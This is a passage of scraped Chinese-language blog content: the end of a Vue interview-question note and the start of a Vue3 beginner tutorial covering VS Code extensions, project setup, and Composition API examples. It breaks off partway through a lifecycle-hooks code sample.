EventBus （$emit / $on） 適用於 父子、隔代、兄弟組件通信\n這種方法通過一個空的 Vue 實例作為中央事件總線（事件中心），用它來觸發事件和監聽事件，從而實現任何組件間的通信，包括父子、隔代、兄弟組件。 attrs / listeners 適用於隔代組件通信\nattrs：包含了父作用域中不被prop所識別(且獲取)的特性綁定(class和style除外)。當一個組件沒有聲明任何prop時，這裡會包含所有父作用域的綁定(class和style除外)，並且可以通過v−bind=\u0026ldquo;attrs\u0026rdquo; 傳入內部組件。通常配合 inheritAttrs 選項一起使用。 listeners：包含了父作用域中的(不含.native修飾器的) v-on事件監聽器。它可以通過v−on=\u0026ldquo;listeners\u0026rdquo; 傳入內部組件 provide / inject 適用於隔代組件通信\n祖先組件中通過 provider 來提供變量，然後在子孫組件中通過 inject 來注入變量。 provide / inject API 主要解決了跨級組件間的通信問題，不過它的使用場景，主要是子組件獲取上級組件的狀態，跨級組件間建立了一種主動提供與依賴注入的關係。 Vuex 適用於 父子、隔代、兄弟組件通信\nVuex 是一個專為 Vue.js 應用程序開發的狀態管理模式。每一個 Vuex 應用的核心就是 store（倉庫）。 \u0026ldquo;store\u0026rdquo; 基本上就是一個容器，它包含著你的應用中大部分的狀態 (state)。 組件中寫 name選項有哪些好處及作用？ 可以通過名字找到對應的組件（遞歸組件） 可以通過name屬性實現緩存功能 (keep-alive) 可以通過name來識別組件（跨級組件通信時非常重要） 1 2 3 4 5 Vue.extend = function () { if(name) { Sub.options.componentd[name] = Sub } } keep-alive平時在哪裡使用？原理是？ keep-alive 主要是組件緩存，採用的是LRU算法。最近最久未使用法。 常用的兩個屬性include/exclude，允許組件有條件的進行緩存。 兩個生命週期activated/deactivated，用來得知當前組件是否處於活躍狀態。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 abstract: true, // 抽象組件 props:{ include: patternTypes, // 要緩存的有哪些 exclude: patternTypes, // 要排除的有哪些 max: [String, Number] //最大緩存數量 } if(cache[key]) { // 通過key 找到緩存，獲取實例 vnode.componentInstance = cache[key].componentInstance remove(keys, key) //將key刪除掉 keys.push(key) // 放到末尾 } else { cache[key] = vnode // 沒有緩存過 keys.push(key) //存儲key if(this.max \u0026amp;\u0026amp; keys.length \u0026gt; parseInt(this.max)) { // 如果超過最大緩存數 // 刪除最早緩存的 pruneCacheEntry(cache, keys[0], keys, this._vnode) } } vnode.data.keepAlive = true // 標記走了緩存 Vue.minxin的使用場景和原理？ Vue.mixin的作用就是抽離公共的業務邏輯，原理類似\u0026quot;對象的繼承\u0026quot;，當組件初始化時會調用 mergeOptions方法進行合併，採用策略模式針對不同的屬性進行合併，如果混入的數據和本身組件中的數據衝突，會採用\u0026quot;就近原則\u0026quot;以組件的數據為準。 補充：\nmixin中有很多缺陷\u0026quot;命名衝突問題\u0026quot;、\u0026ldquo;依賴問題\u0026rdquo;、\u0026ldquo;數據來源問題\u0026rdquo;，這裡強調一下mixin的數據是不會被共享的。\n路由篇 Vue-router有幾種鉤子函數？具體是什麼及執行流程是怎樣的？ 路由鉤子的執行流程，鉤子函數種類有：全局守衛、路由守衛、組件守衛。 完整的導航解析流程 導航被觸發 在失活的組件裡調用beforeRouteLeave守衛 調用全局beforeEach守衛 在復用組件裡調用beforeRouteUpdate守衛 調用路由配置裡的beforeEnter守衛 解析異步路由組件 在被激活的組件裡調用beforeRouteEnter守衛 調用全局beforeResolve守衛 導航被確認 調用全局的afterEach鉤子 DOM更新 用創建好的實例調用beforeRouteEnter守衛中傳給next的回調函數 vue-router 兩種模式的區別？ vue-router 有 3 種路由模式：hash、history、abstract。 hash模式：hash + hashChange\n特點：hash雖然在URL中，但不被包括在HTTP請求中；用來指導瀏覽器動作，對服務端安全無用，hash不會重加載頁面。通過監聽 hash（#）的變化來執行js代碼 從而實現 頁面的改變。\n核心代码：\n1 2 3 window.addEventListener(‘hashchange‘,function(){ self.urlChange() }) history模式：historyApi + popState\nHTML5推出的history API，由pushState()記錄操作歷史，監聽popstate事件來監聽到狀態變更。\n因為只要刷新這個url(www.ff.ff/jjkj/fdfd/fdf/fd)就會請求服務器，然而服務器上根本沒有這個資源，所以就會報404，解決方案就配置一下服務器端。\n說明：\n1. hash: 使用 URL hash 值來作路由。支持所有瀏覽器，包括不支持 HTML5 History Api 的瀏覽器\n2. history : 依賴 HTML5 History API 和服務器配置。具體可以查看 HTML5 History 模式\n3. abstract : 支持所有 JavaScript 運行環境，如 Node.js 服務器端。如果發現沒有瀏覽器的 API，路由會自動強制進入這個模式\n屬性作用與對比篇 nextTick在哪裡使用？原理是？ nextTick的回調是在下次DOM更新循環結束之後執行的延遲回調。在修改數據之後立即使用這個方法，獲取更新後的DOM。 nextTick主要使用了宏任務和微任務。原理就是異步方法(promise, mutationObserver, setImmediate, setTimeout)經常與事件循環一起來問。 補充：\nvue多次更新數據，最終會進行批處理更新。內部調用的就是nextTick實現了延遲更新，用戶自定義的nextTick中的回調會被延遲到更新完成後調用，從而可以獲取更新後的DOM。\nVue 為什麼需要虛擬DOM？虛擬DOM的優劣如何？ Virtual DOM 就是用js對象來描述真實DOM，是對真實DOM的抽象，由於直接操作DOM性能低但是js層的操作效率高，可以將DOM操作轉化成對像操作，最終通過diff算法比對差異進行更新DOM(減少了對真實DOM的操作)。虛擬DOM不依賴真實平台環境從而也可以實現跨平台。 補充：\n虛擬DOM的實現就是普通對象包含tag、data、children等屬性對真實節點的描述。(本質上就是在JS和DOM之間的一個緩存)\nVue2的 Virtual DOM 借鑒了開源庫snabbdom的實現。\nVirtualDOM映射到真實DOM要經歷VNode的create、diff、patch等階段。\nVue中key的作用和工作原理，說說你對它的理解 例如： 1 v-for=\u0026#34;(item, itemIndex) in tabs\u0026#34; :key=\u0026#34;itemIndex\u0026#34; key的作用主要是為了高效的更新虛擬DOM，其原理是vue在patch過程中通過key可以精準判斷兩個節點是否是同一個，從而避免頻繁更新不同元素，使得整個patch過程更加高效，減少DOM操作量，提高性能。 補充：\n若不設置key還可能在列表更新時引發一些隱蔽的bug vue中在使用相同標籤名元素的過渡切換時，也會使用到key屬性，其目的也是為了讓vue可以區分它們，否則vue只會替換其內部屬性而不會觸發過渡效果 Vue 中的diff原理 vue的diff算法是平級比較，不考慮跨級比較的情況。內部採用深度遞歸的方式 + 雙指針的方式進行比較。 補充：\n先比較是否是相同節點 相同節點比較屬性，並複用老節點 比較兒子節點，考慮老節點和新節點兒子的情況 優化比較：頭頭、尾尾、頭尾、尾頭 比對查找進行複用 Vue2 與 Vue3.x 的diff算法： Vue2的核心Diff算法採用了雙端比較的算法，同時從新舊children的兩端開始進行比較，借助key值找到可複用的節點，再進行相關操作。 Vue3.x借鑒了ivi算法和 inferno算法，該算法中還運用了動態規劃的思想求解最長遞歸子序列。 (實際的實現可以結合Vue3.x源碼看。) v-if 與 v-for的優先級 v-for優先於v-if被解析 如果同時出現，每次渲染都會先執行循環再判斷條件，無論如何循環都不可避免，浪費了性能 要避免出現這種情況，則在外層嵌套template，在這一層進行v-if判斷，然後在內部進行v-for循環 如果條件出現在循環內部，可通過計算屬性提前過濾掉那些不需要顯示的項 v-if與v-show的區別 v-if 是真正的條件渲染，直到條件第一次變為真時，才會開始渲染。 v-show 不管初始條件是什麼會渲染，並且只是簡單地基於 CSS 的 “display” 屬性進行切換。 注意：v-if 適用於不需要頻繁切換條件的場景；v-show 則適用於需要非常頻繁切換條件的場景。\ncomputed 和 watch 的區別和運用的場景？ computed： 計算屬性。依賴其它屬性值，並且 computed 的值有緩存，只有它依賴的屬性值發生改變，下一次獲取 computed 的值時才會重新計算 computed 的值 watch： 監聽數據的變化。更多的是「觀察」的作用，類似於某些數據的監聽回調 ，每當監聽的數據變化時都會執行回調進行後續操作 運用場景： 當我們需要進行數值計算，並且依賴於其它數據時，應該使用 computed，因為可以利用 computed 的緩存特性，避免每次獲取值時，都要重新計算。 當我們需要在數據變化時執行異步或開銷較大的操作時，應該使用 watch，使用 watch 選項允許我們執行異步操作 ( 訪問一個 API )，限制我們執行該操作的頻率，並在我們得到最終結果前，設置中間狀態。這些都是計算屬性無法做到的。 如何理解自定義指令？ 指令的實現原理，可以從編譯原理 ➡ 代碼生成 ➡ 指令鉤子實現進行概述 在生成 ast 語法樹時，遇到指令會給當前元素添加directives屬性 通過 genDirectives 生成指令代碼 在patch前將指令的鉤子提取到 cbs中，在patch過程中調用對應的鉤子 當執行指令對應鉤子函數時，調用對應指令定義的方法 v-model的原理是什麼？ v-model本質就是一個語法糖，可以看成是value + input方法的語法糖。可以通過model屬性的prop和event屬性來進行自定義。原生的v-model，會根據標籤的不同生成不同的事件和屬性。 v-model 在內部為不同的輸入元素使用不同的屬性並拋出不同的事件： text 和 textarea 元素使用 value 屬性和 input 事件。 checkbox 和 radio 使用 checked 屬性和 change 事件。 select 字段將 value 作為 prop 並將 change 作為事件。 性能優化篇 Vue性能優化 - 編碼階段 盡量減少data中的數據，data中的數據都會增加getter和setter，會收集對應的watcher 如果需要使用v-for給每項元素綁定事件時使用事件代理 SPA 頁面採用keep-alive緩存組件 在更多的情況下，使用v-if替代v-show key保證唯一 使用路由懶加載、異步組件 防抖、節流 第三方模塊按需導入 長列表滾動到可視區域動態加載 圖片懶加載 Vue性能優化 - 用戶體驗 骨架屏 PWA 使用緩存(客戶端緩存、服務端緩存)優化、服務端開啟gzip壓縮等 Vue性能優化 - SEO優化 預渲染 服務端渲染SSR Vue性能優化 - 打包優化 壓縮代碼 Tree Shaking/Scope Hoisting 使用cdn加載第三方模塊 多線程打包happypack splitChunks抽離公共文件 sourceMap優化 ","date":"2022-08-12T00:00:00Z","image":"https://live.staticflickr.com/65535/52282698225_df2b066743_o.jpg","permalink":"https://blog.wayne-project.com/2022-08-12/vue-interview-note/","title":"Vue 基本概念與常見面試題筆記"},{"content":" 本文適合 Vue3 初學者，或者 Vue2 遷移者，當然還是建議 Vue3 官網完全過一遍。\n先推薦兩個 vscode 外掛 Volar 首先推薦 Volar ，使用 vscode 開發 Vue 專案的小夥伴肯定都認識 Vetur 這個神級外掛，有了它可以讓我們得開發如魚得水。 那麼 Volar 可以理解為 Vue3 版本的 Vetur ，程式碼高亮，語法提示，基本上 Vetur 有的它都有。\n功能一：多個根節點編譯器不會報錯 Vue3 是允許我們有多個根節點的，但是我們如果使用 Vetur 就會報錯，不會影響執行，但是看起來就很煩。所以當我們轉向 Volar，那麼就不會出現這個問題了。\n功能二：編輯器分隔 即便 Vue 的元件化開發，可以將單檔案的程式碼長度大幅縮短，但還是動輒幾百行甚是上千行。那麼我們切換 template、script、style 的時候就要頻繁上下翻，雖然有的外掛可以直接定位到 css，但是你回不去啊！所以這個功能簡直是太人性化了。\n安裝完 Volar 以後，開啟一個 .vue 檔案，看 vscode 的右上角，有這麼一個圖示，點一下。\n它就會自動給你分隔成三個頁面，分別對應 template、script、style，這樣就太舒服了有沒有。\n還有很多新功能，可以參考下面這篇文章：\nVolar - vue終極開發神器！\n功能三：ref sugar 語法快捷改動支持 ref sugar 是一個還在 rfc 階段的功能，但是已經持續很久了，現在的 vue3 版本已經可以嚐鮮使用了。具體的用法以及語法我就不展開贅述了，我主要說一下 Volar 和 ref sugar 的結合。\n報錯先不管，是 eslint-plugin-vue 的原因。\n可以看到，在使用了 ref sugar 之後，script 上面出現了一個 ref sugar 的小圖標，並且打了個對勾，那麼我們點一下那個對勾，看看會發生什麼。\n可以看到，我們點擊這個小對勾之後，它由原本的 ref sugar 語法變為了普通的 script setup 模式，驚不驚喜，意不意外。\n功能四：style 裡面的 class 引用 可以看到，在 .foo 這個類名上面，出現了一個 1 reference 的小圖標，代表著當前 class 有一次引用，我們點擊一下這個 1 reference。\n出現了一個彈窗，裡面是當前 class 的具體使用位置。\n功能五：class 追朔 我們創建一個 template 根元素，在裡面寫入：\nsample.vue 1 2 3 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;foo\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在 style 中寫入：\nsample.vue 1 2 3 \u0026lt;style scoped\u0026gt; .foo {} \u0026lt;/style\u0026gt; 除了 style 中的 .foo 上面會出現 1 reference 的小圖標之外，在 class=\u0026quot;foo\u0026quot; 的 foo 下面，會出現一道橫線。\n對於經常使用 vscode 的開發人員來說，這代表什麼意義就不必多說了，我們根據提示，按住 ctrl(command) 然後點擊，會發現光標自己移動到了 style 中的 .foo 之前，哇! awesome!\n功能六：css module 類型提示 css module 一般是 react 技術棧用的會比較多一些，就我個人來說，是從沒在 vue 裡面使用它的，因為 vue 提供了 scoped 作用域，不用擔心樣式衝突，直接使用預處理器會更加簡單方便。\n我們創建如下代碼：\nsample.vue 1 2 3 4 5 6 7 \u0026lt;template\u0026gt; \u0026lt;div :class=\u0026#34;$style.foo\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;style module\u0026gt; .foo { } \u0026lt;/style\u0026gt; 然後將鼠標移動到 $style 上\n有點意思，看來 vscode 是讓 Volar 玩明白了。\n功能七：lang 語法提示 vue 可以使用 lang 屬性來選擇使用的語言，比如 template 中的 html/pug、script 中的 ts、style 中的 scss 等。\n但是在以前，我們都是手動輸入的，編輯器，或者說 Vetur 並沒有給我們提供任何提示，有可能你找了很久的莫名其妙的問題，就是因為 lang 寫錯了。\n但是這一切，在有了 Volar 之後，都不同了。\n功能八：template 語法轉換 vue 默認提供了兩種模板供我們使用，但是一般都會使用 html，另外一種叫做 pug。\n相對於 html，pug 更偏向於 yml 那種，簡潔程度特別高。\n在 Volar 中，為我們提供了 html 和 pug 互相轉換的功能。\nsample.vue 1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;li\u0026gt; \u0026lt;img /\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 在我們書寫 template 之後，template 頂部會出現一個小小的 pug 圖標，我們可以看到此時它是沒有被選中的。\n這個時候我們點擊一下這個圖標，讓它選中，神奇的事情發生了。\n我們寫好的 html 模板，被自動轉化成了 pug，再點擊一下，又回到了我們熟悉的 html。\n從功能三開始，基本都是算內測的新功能，我是機緣巧合之下，將 Volar 下到本地進行查看的時候發現的這些。想嚐鮮的可以自己下載源碼，然後在packages/vscode-vue-languageservice/testCases目錄下體驗，希望這些功能可以盡快發布！\nVue 3 Snippets 推薦的第二個外掛叫做 Vue 3 Snippets ，同樣的，他也有自己的 Vue2 版本。它是幹什麼的呢，可以看一下下面這張圖，我只輸入了 \u0026quot;v3\u0026quot; ，它有很多提示，我們就先選擇 v3computed ，選中 Enter 即可。\n然後它就給我們自動寫了如下程式碼：\n是不是超級省事，摸魚的時間又增加了！還有更多有趣的使用方式，小夥伴們自行探索吧。\n建立 Vue3 專案 那麼正式開始學習我們的 Vue3 ，先從建立專案開始。\n使用 vue-cli 建立 輸入下面的命令然後選擇配置項進行安裝即可，這裡注意 vue-cli 的版本一定要在 ==4.5.0== 以上。\n1 2 3 4 5 6 7 8 ### 安裝或者升級 npm install -g @vue/cli ### 檢視版本 保證 vue cli 版本在 4.5.0 以上 vue --version ### 建立專案 vue create my-project ### 然後根據提示一步一步傻瓜式操作就行了 ### ... 使用 Vite 建立 都說 Vue3.0 和 Vite2 更配，各種優化各種快，但都不屬於本文的內容，本文的目的我們只需要知道它特別好用、怎麼用就行了。我這裡是多選擇了 TS，每行都有註釋，一目瞭然。\n1 2 3 4 5 6 7 8 ### 初始化 viete 專案 npm init vite-app \u0026lt;project-name\u0026gt; ### 進入專案資料夾 cd \u0026lt;project-name\u0026gt; ### 安裝依賴 npm install ### 啟動專案 npm run dev 建立完以後我們先來看看入口檔案 main.ts\nmain.ts 1 2 3 4 5 6 // 引入 createApp 函式，建立對應的應用，產生應用的例項物件 import { createApp } from \u0026#39;vue\u0026#39;; // 引入 app 元件 (所有元件的父級元件) import App from \u0026#39;./App.vue\u0026#39;; // 建立 app 應用返回對應的例項物件，呼叫 mount 方法進行掛載，掛載到 #app 節點上去 createApp(App).mount(\u0026#39;#app\u0026#39;); 然後看看根元件 app.vue\napp.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 \u0026lt;!-- Vue2 元件中的 html 模板中必須要有一對根標籤，Vue3 元件的 html 模板中可以沒有根標籤 --\u0026gt; \u0026lt;template\u0026gt; \u0026lt;img alt=\u0026#34;Vue logo\u0026#34; src=\u0026#34;./assets/logo.png\u0026#34;\u0026gt; \u0026lt;!-- 使用子級元件 --\u0026gt; \u0026lt;HelloWorld msg=\u0026#34;Welcome to Your Vue.js + TypeScript App\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; // 這裡可以書寫 TS 程式碼 // defineComponent 函式，目的是定義一個元件，內部可以傳入一個配置物件 import { defineComponent } from \u0026#39;vue\u0026#39;; // 引入子級元件 import HelloWorld from \u0026#39;./components/HelloWorld.vue\u0026#39;; // 暴露出去一個定義好的元件 export default defineComponent({ // 當前元件的名字 name: \u0026#39;App\u0026#39;, // 註冊元件 components: { // 註冊一個子級元件 HelloWorld, }, }); \u0026lt;/script\u0026gt; Composition API 接下來到了重頭戲，Vue3 的招牌特性，Composition API。\n關於 Composition API 這裡有圖解演示，極力推薦。\n圖解 Option API vs Composition API\nComposition API 可以更方便的抽取共通邏輯，但是不要過於在意邏輯程式碼複用，以功能提取程式碼也是一種思路。 順便提一句，Vue3 相容大部分 Vue2 語法，所以在 Vue3 中書寫 Vue2 語法是沒有問題的（廢除的除外），但是既然我們已經升級 Vue3 了，不建議混合使用，除非一些大型特殊專案需要相容兩個版本。\n生命週期鉤子 setup setup 是組合 Composition API 中的入口函式，也是第一個要使用的函式。 setup 只在初始化時執行一次，所有的 Composition API 函式都在此使用。 1 2 3 setup() { console.log(\u0026#39;我執行了\u0026#39;) // 我執行了 }, 可以通過 console.log 看到 setup 是在 beforeCreate 生命週期之前執行的(只執行一次)：\n1 2 3 4 5 6 7 8 9 beforeCreate() { console.log(\u0026#39;beforeCreate執行了\u0026#39;); }, setup() { console.log(\u0026#39;setup執行了\u0026#39;); return {}; }, // setup執行了 // beforeCreate執行了 由此可以推斷出 setup 執行的時候，元件物件還沒有建立，元件實例物件 this 還不可用，此時 this 是 undefined，不能通過 this 來訪問 data、computed、methods、props。 返回物件中的^1.^屬性會與 data 函式返回物件的屬性合併成為元件物件的屬性；^2.^返回物件中的方法會與 methods 中的方法合併成功元件物件的方法。 如果有重名，setup 優先。因為在 setup 中 this 不可用，methods 中可以訪問 setup 提供的屬性和方法，但在 setup 方法中不能訪問 data 和 methods 裡的內容，所以還是不建議混合使用。 setup 函式如果返回物件，物件中的屬性或方法，template 中可以直接使用。 sample.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt;{{number}}\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; // ... setup() { const number = 18; return { number, }; }, // ... \u0026lt;/script\u0026gt; 注意：setup 不能是一個 async 函式，因為返回值不再是 return 的物件，而是 promise，template 中就不可以使用 return 中返回物件的資料了。\nsetup 的參數(^1.^props, ^2.^context)：\nprops：是一個物件，裡面有父級元件向子級元件傳遞的資料，並且是在子級元件中使用 props 接收到的所有的屬性。 context：上下文物件，可以通過 es6 語法解構 setup(props, {^(a).^attrs, ^(b).^slots, ^(c).^emit})\n\u0026gt; a). attrs：獲取當前元件標籤上所有沒有通過 props 接收的屬性的物件，相當於 this.$attrs。\n\u0026gt; b). slots：包含所有傳入的插槽內容的物件，相當於 this.$slots。\n\u0026gt; c). emit：用來分發自定義事件的函式，相當於 this.$emit。 演示 attrs 和 props： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;template\u0026gt; \u0026lt;child :msg=\u0026#34;msg\u0026#34; msg2=\u0026#39;哈哈哈\u0026#39; /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#39;ts\u0026#39;\u0026gt; import { defineComponent, ref } from \u0026#39;vue\u0026#39;; // 引入子元件 import Child from \u0026#39;./components/Child.vue\u0026#39;; export default defineComponent({ name: \u0026#39;App\u0026#39;, components: { Child, }, setup() { const msg = ref(\u0026#39;hello,vue3\u0026#39;); return { msg, }; }, }); \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;子元件\u0026lt;/h2\u0026gt; \u0026lt;h3\u0026gt;msg:{{ msg }}\u0026lt;/h3\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#39;ts\u0026#39;\u0026gt; import { defineComponent } from \u0026#39;vue\u0026#39;; export default defineComponent({ name: \u0026#39;Child\u0026#39;, props: [\u0026#39;msg\u0026#39;], setup(props, {attrs, slots, emit}) { console.log(\u0026#39;props:\u0026#39;, props); // msg: \u0026#34;hello,vue3\u0026#34; console.log(\u0026#39;attrs:\u0026#39;, attrs); // msg2: \u0026#34;哈哈哈\u0026#34; return {}; }, }); \u0026lt;/script\u0026gt; 演示 emit： parent.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;child @click=\u0026#34;show\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#39;ts\u0026#39;\u0026gt; setup() { const show = () =\u0026gt; { console.log(\u0026#39;name:\u0026#39;, \u0026#39;hzw\u0026#39;); }; return { show, }; }, \u0026lt;/script\u0026gt; children.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;template\u0026gt; \u0026lt;button\u0026gt;事件分發\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#39;ts\u0026#39;\u0026gt; import { defineComponent } from \u0026#39;vue\u0026#39;; export default defineComponent({ name: \u0026#39;Child\u0026#39;, setup(props, { emit }) { const emitFn = () =\u0026gt; { emit(\u0026#39;show\u0026#39;); }; return { emitFn, }; }, }); \u0026lt;/script\u0026gt; ref 作用：定義一個響應式的資料(一般用來定義一個基本型別的響應式資料 Undefined、Null、Boolean、Number、String) 語法： 1 const xxx = ref(initValue); 注意：script 中操作資料需要使用 xxx.value 的形式，而 template 中不需要新增 .value 用一個例子來演示，實現一個按鈕，點選可以增加數字：\naddNum.vue 1 2 3 4 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt;{{count}}\u0026lt;/div\u0026gt; \u0026lt;button @click=\u0026#39;updateCount\u0026#39;\u0026gt;增加\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; 在 Vue2 中：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script\u0026gt; // ... data() { return { conunt: 0, }; }, methods: { updateCount() { this.conunt++; }, }, // ... \u0026lt;/script\u0026gt; 在 Vue3 中：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;script\u0026gt; // ... setup() { // ref 用於定義一個響應式的資料，返回的是一個 Ref 物件，物件中有一個 value 屬性 // 如果需要對資料進行操作，需要使用該 Ref 物件的 value 屬性 const count = ref(0); function updateCount() { count.value++; } return { count, updateCount }; }, // ... \u0026lt;/script\u0026gt; 在 Vue2 中我們通過 this.$refs 來獲取 dom 節點，Vue3 中我們通過 ref 來獲取節點。\n首先需要在標籤上新增 ref='xxx'，然後再 setup 中定義一個初始值為 null 的 ref 型別，名字要和標籤的 ref 屬性一致。\n1 const xxx = ref(null) 注意 ：一定要在 setup 的 return 中返回，不然會報錯。\n用一個例子來演示，讓輸入框自動獲取焦點：\nautoFocus.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;App\u0026lt;/h2\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34;\u0026gt;--- \u0026lt;input type=\u0026#34;text\u0026#34; ref=\u0026#34;inputRef\u0026#34;\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import { onMounted, ref } from \u0026#39;vue\u0026#39; /* ref獲取元素: 利用 ref 函式獲取元件中的標籤元素 功能需求: 讓輸入框自動獲取焦點 */ export default { setup() { const inputRef = ref\u0026lt;HTMLElement|null\u0026gt;(null) onMounted(() =\u0026gt; { inputRef.value \u0026amp;\u0026amp; inputRef.value.focus() }) return { inputRef } }, } \u0026lt;/script\u0026gt; reactive 作用：定義多個數據的響應式，接收一個普通物件然後返回該普通物件的響應式代理器物件(Proxy)，響應式轉換是\u0026quot;深層的\u0026quot;：會影響物件內部所有巢狀的屬性，所有的資料都是響應式的。 語法： 1 const proxy = reactive(obj) 程式碼演示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 \u0026lt;template\u0026gt; \u0026lt;h3\u0026gt;姓名:{{user.name}}\u0026lt;/h3\u0026gt; \u0026lt;h3\u0026gt;年齡:{{user.age}}\u0026lt;/h3\u0026gt; \u0026lt;h3\u0026gt;wife:{{user.wife}}\u0026lt;/h3\u0026gt; \u0026lt;button @click=\u0026#34;updateUser\u0026#34;\u0026gt;更新\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; // ... setup() { const user = reactive({ name: \u0026#39;hzw\u0026#39;, age: 18, wife: { name: \u0026#39;xioaohong\u0026#39;, age: 18, books: [\u0026#39;紅寶書\u0026#39;, \u0026#39;設計模式\u0026#39;, \u0026#39;演算法與資料結構\u0026#39;], }, }); const updateUser = () =\u0026gt; { user.name = \u0026#39;小紅\u0026#39;; user.age += 2; user.wife.books[0] = \u0026#39;金瓶梅\u0026#39;; }; return { user, updateUser, }; }, // ... \u0026lt;/script\u0026gt; computed 與 Vue2 中的 computed 配置功能一致，返回的是一個 ref 型別的物件。 computed 的函式中如果只傳入一個箭頭函式 表示的是 get 操作： 1 2 3 4 5 6 7 8 9 10 11 12 13 import { computed } from \u0026#39;vue\u0026#39;; const user = reactive({ firstName: \u0026#39;韓\u0026#39;, lastName: \u0026#39;志偉\u0026#39;, }); const fullName1 = computed(() =\u0026gt; { return user.firstName + user.lastName; }); return { user, fullName1, }; computed 的函式中可以傳入一個物件，可以包含 set 和 get 函式，進行讀取和修改的操作： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import { computed } from \u0026#39;vue\u0026#39;; const user = reactive({ firstName: \u0026#39;韓\u0026#39;, lastName: \u0026#39;志偉\u0026#39;, }); const fullName2 = computed({ get() { return user.firstName + \u0026#39;_\u0026#39; + user.lastName; }, set(val: string) { const names = val.split(\u0026#39;_\u0026#39;); user.firstName = names[0]; user.lastName = names[1]; }, }); return { user, fullName2, }; watch 與 Vue2 中的 watch 配置功能一致。 作用：監視指定的一個或多個響應式資料，一旦資料變化，就自動執行監視回撥。 語法：watch(要監聽的資料, 回調函式, 配置) 預設初始時不執行回調，但可以通過配置的 immediate 為 true，來指定初始時立即執行第一次。 通過配置的 deep 為 true，來指定深度監視。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import { watch, ref } from \u0026#39;vue\u0026#39;; const user = reactive({ firstName: \u0026#39;韓\u0026#39;, lastName: \u0026#39;志偉\u0026#39;, }); const fullName3 = ref(\u0026#39;\u0026#39;); watch( user, ({ firstName, lastName }) =\u0026gt; { fullName3.value = firstName + \u0026#39;_\u0026#39; + lastName; }, { immediate: true, deep: true } ); return { user, fullName3, }; watch 監聽多個數據，使用陣列。\nwatch 監聽非響應式資料的時候需要使用回調函式的形式。\n1 2 3 4 5 6 7 8 9 10 watch( [ () =\u0026gt; user.firstName, () =\u0026gt; user.lastName, fullName3 ], () =\u0026gt; { console.log(\u0026#39;我執行了\u0026#39;) } ) watchEffect 作用：監視資料發生變化時執行回調，不用直接指定要監視的資料，回調函式中使用的哪些響應式資料就監視哪些響應式資料，預設初始時就會執行第一次，從而可以收集需要監視的資料。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { watchEffect, ref } from \u0026#39;vue\u0026#39;; const user = reactive({ firstName: \u0026#39;韓\u0026#39;, lastName: \u0026#39;志偉\u0026#39;, }); const fullName4 = ref(\u0026#39;\u0026#39;); watchEffect(() =\u0026gt; { fullName4.value = user.firstName + \u0026#39;_\u0026#39; + user.lastName; }); return { user, fullName4, }; // watchEffect可以實現計算屬性set方法 watchEffect(() =\u0026gt; { const names = fullName3.value.split(\u0026#39;_\u0026#39;); user.firstName = names[0]; user.lastName = names[1]; }); 生命週期對比：\n注意：3.0 中的生命週期鉤子要比 2.X 中相同生命週期的鉤子要快。 Composition API 還新增了以下用於除錯的鉤子函式，但是不怎麼常用：onRenderTracked、onRenderTriggered。 程式碼演示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 setup() { onBeforeMount(() =\u0026gt; { console.log(\u0026#39;--onBeforeMount\u0026#39;) }) onMounted(() =\u0026gt; { console.log(\u0026#39;--onMounted\u0026#39;) }) onBeforeUpdate(() =\u0026gt; { console.log(\u0026#39;--onBeforeUpdate\u0026#39;) }) onUpdated(() =\u0026gt; { console.log(\u0026#39;--onUpdated\u0026#39;) }) onBeforeUnmount(() =\u0026gt; { console.log(\u0026#39;--onBeforeUnmount\u0026#39;) }) onUnmounted(() =\u0026gt; { 